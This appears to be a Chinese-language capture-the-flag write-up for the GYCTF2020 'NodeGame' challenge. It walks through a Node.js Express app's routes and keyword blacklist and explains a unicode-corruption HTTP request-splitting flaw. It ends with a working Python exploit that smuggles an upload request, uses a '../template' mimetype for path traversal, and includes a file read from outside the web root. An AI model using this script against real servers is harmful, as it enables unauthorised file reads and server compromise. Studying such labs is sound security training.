# [GYCTF2020]NodeGame-nodejs
源码:
var express = require('express'); | |
var app = express(); | |
var fs = require('fs'); | |
var path = require('path'); | |
var http = require('http'); | |
var pug = require('pug'); | |
var morgan = require('morgan'); | |
const multer = require('multer'); | |
app.use(multer({ dest: './dist' }).array('file')); | |
app.use(morgan('short')); | |
app.use("/uploads", express.static(path.join(__dirname, '/uploads'))); | |
app.use("/template", express.static(path.join(__dirname, '/template'))); | |
app.get('/', function(req, res) { | |
var action = req.query.action ? req.query.action : "index"; | |
if (action.includes("/") || action.includes("\\")) { | |
res.send("Errrrr, You have been Blocked"); | |
return; | |
} | |
var file = path.join(__dirname, '/template/' + action + '.pug'); | |
var html = pug.renderFile(file); | |
res.send(html); | |
}); | |
app.post('/file_upload', function(req, res) { | |
var ip = req.connection.remoteAddress; | |
var obj = { msg: '' }; | |
if (!ip.includes('127.0.0.1')) { | |
obj.msg = "only admin's ip can use it"; | |
res.send(JSON.stringify(obj)); | |
return; | |
} | |
fs.readFile(req.files[0].path, function(err, data) { | |
if (err) { | |
obj.msg = 'upload failed'; | |
res.send(JSON.stringify(obj)); | |
} else { | |
var file_path = '/uploads/' + req.files[0].mimetype + "/"; | |
var file_name = req.files[0].originalname; | |
var dir_file = __dirname + file_path + file_name; | |
if (!fs.existsSync(__dirname + file_path)) { | |
try { | |
fs.mkdirSync(__dirname + file_path); | |
} catch (error) { | |
obj.msg = "file type error"; | |
res.send(JSON.stringify(obj)); | |
return; | |
} | |
} | |
try { | |
fs.writeFileSync(dir_file, data); | |
obj = { msg: 'upload success', filename: file_path + file_name }; | |
} catch (error) { | |
obj.msg = 'upload failed'; | |
} | |
res.send(JSON.stringify(obj)); | |
} | |
}); | |
}); | |
app.get('/source', function(req, res) { | |
res.sendFile(path.join(__dirname, '/template/source.txt')); | |
}); | |
app.get('/core', function(req, res) { | |
var q = req.query.q; | |
if (q) { | |
var url = 'http://localhost:8081/source?' + q; | |
console.log(url); | |
var trigger = blacklist(url); | |
if (trigger === true) { | |
res.send("error occurs!"); | |
} else { | |
try { | |
http.get(url, function(resp) { | |
resp.setEncoding('utf8'); | |
resp.on('error', function(err) { | |
if (err.code === "ECONNRESET") { | |
console.log("Timeout occurs"); | |
return; | |
} | |
}); | |
resp.on('data', function(chunk) { | |
try { | |
var resps = chunk.toString(); | |
res.send(resps); | |
} catch (e) { | |
res.send(e.message); | |
} | |
}).on('error', (e) => { | |
res.send(e.message); | |
}); | |
}); | |
} catch (error) { | |
console.log(error); | |
} | |
} | |
} else { | |
res.send("search param 'q' missing!"); | |
} | |
}); | |
function blacklist(url) { | |
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"]; | |
var arrayLen = evilwords.length; | |
for (var i = 0; i < arrayLen; i++) { | |
const trigger = url.includes(evilwords[i]); | |
if (trigger === true) { | |
return true; | |
} | |
} | |
return false; | |
} | |
var server = app.listen(8081, function() { | |
var host = server.address().address; | |
var port = server.address().port; | |
console.log("Example app listening at http://%s:%s", host, port); | |
}); |
var fs = require('fs'); //导入必要的模块
app.use(multer({dest: './dist'}).array('file'));//设置MUlter来处理文件上传,将文件临时保存道./dist目录中。
四条路线:
路线一(/):
app.get('/', function(req, res) { | |
var action = req.query.action ? req.query.action : "index"; | |
if (action.includes("/") || action.includes("\\")) { | |
res.send("Errrrr, You have been Blocked"); | |
} | |
file = path.join(__dirname + '/template/' + action + '.pug'); | |
var html = pug.renderFile(file); | |
res.send(html); | |
}); |
第 1 行:定义根的路由 ( /
)。它检查是否存在查询参数 ( action
);如果不存在,则默认为 "index"
。
第 2 行:检查操作是否包含 /
或 \
(表示可能的路径遍历尝试)。如果发现,则阻止该请求。
第 3-6 行:根据值构造 Pug 模板的文件路径 action
并呈现文件。呈现的 HTML 作为响应发送。
路线二(/file_upload)
app.post('/file_upload', function(req, res) { | |
var ip = req.connection.remoteAddress; | |
var obj = { msg: '' }; | |
if (!ip.includes('127.0.0.1')) { | |
obj.msg = "only admin's ip can use it"; | |
res.send(JSON.stringify(obj)); | |
return; | |
} | |
fs.readFile(req.files[0].path, function(err, data) { | |
if (err) { | |
obj.msg = 'upload failed'; | |
res.send(JSON.stringify(obj)); | |
} else { | |
var file_path = '/uploads/' + req.files[0].mimetype + "/"; | |
var file_name = req.files[0].originalname; | |
var dir_file = __dirname + file_path + file_name; | |
if (!fs.existsSync(__dirname + file_path)) { | |
try { | |
fs.mkdirSync(__dirname + file_path); | |
} catch (error) { | |
obj.msg = "file type error"; | |
res.send(JSON.stringify(obj)); | |
return; | |
} | |
} | |
try { | |
fs.writeFileSync(dir_file, data); | |
obj = { msg: 'upload success', filename: file_path + file_name }; | |
} catch (error) { | |
obj.msg = 'upload failed'; | |
} | |
res.send(JSON.stringify(obj)); | |
} | |
}); | |
}); |
定义一个 POST 路由( /file_upload
),用于处理文件上传。
检索客户端的 IP 地址。
检查 IP 地址是否包含 127.0.0.1
。如果不包含,则阻止请求,仅允许本地主机访问。
读取上传的文件并根据其 mimetype 进行存储。如果该文件类型的目录不存在,则创建一个。然后将文件写入适当的位置。
如果在文件读取或写入过程中发生任何错误,则会以 JSON 形式发送相应的错误消息。
路线三(/source):
app.get('/source', function(req, res) { | |
res.sendFile(path.join(__dirname + '/template/source.txt')); | |
}); |
定义一个路由 ( /source
),从目录中提供静态文件 ( source.txt
) /template
。
路线四(/core):
app.get('/core', function(req, res) { | |
var q = req.query.q; | |
var resp = ""; | |
if (q) { | |
var url = 'http://localhost:8081/source?' + q; | |
console.log(url); | |
var trigger = blacklist(url); | |
if (trigger === true) { | |
res.send("error occurs!"); | |
} else { | |
try { | |
http.get(url, function(resp) { | |
resp.setEncoding('utf8'); | |
resp.on('error', function(err) { | |
if (err.code === "ECONNRESET") { | |
console.log("Timeout occurs"); | |
return; | |
} | |
}); | |
resp.on('data', function(chunk) { | |
try { | |
resps = chunk.toString(); | |
res.send(resps); | |
} catch (e) { | |
res.send(e.message); | |
} | |
}).on('error', (e) => { | |
res.send(e.message); | |
}); | |
}); | |
} catch (error) { | |
console.log(error); | |
} | |
} | |
} else { | |
res.send("search param 'q' missing!"); | |
} | |
}); |
/core
定义一个接受查询参数()的路由( ) q
。
使用构造一个 URL q
,并根据可能表明恶意的关键字黑名单进行检查。
如果黑名单检查通过,它会对构造的 URL 执行 HTTP GET 请求并返回响应。否则,它会发送错误消息。
blacklist 函数功能:
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
}
用于检查 URL 是否包含与潜在恶意行为相关的任何关键字。如果发现任何关键字,则返回 true
nodejs 在版本号小于 8.x 的时候存在 unicode 字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是 buu 上的这个题并没有说版本),简单来说就是 Unicode 在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2
构造:
所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板
参考脚本:
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: f
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: f
Connection: close
f:'''
payload = payload.format(len(body)+10,body)+more
print(payload)
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(' ')
print(payload)
session = requests.Session()
session.trust_env = False
session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://668981f4-ba71-4a2c-bc99-267eb35d24f0.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)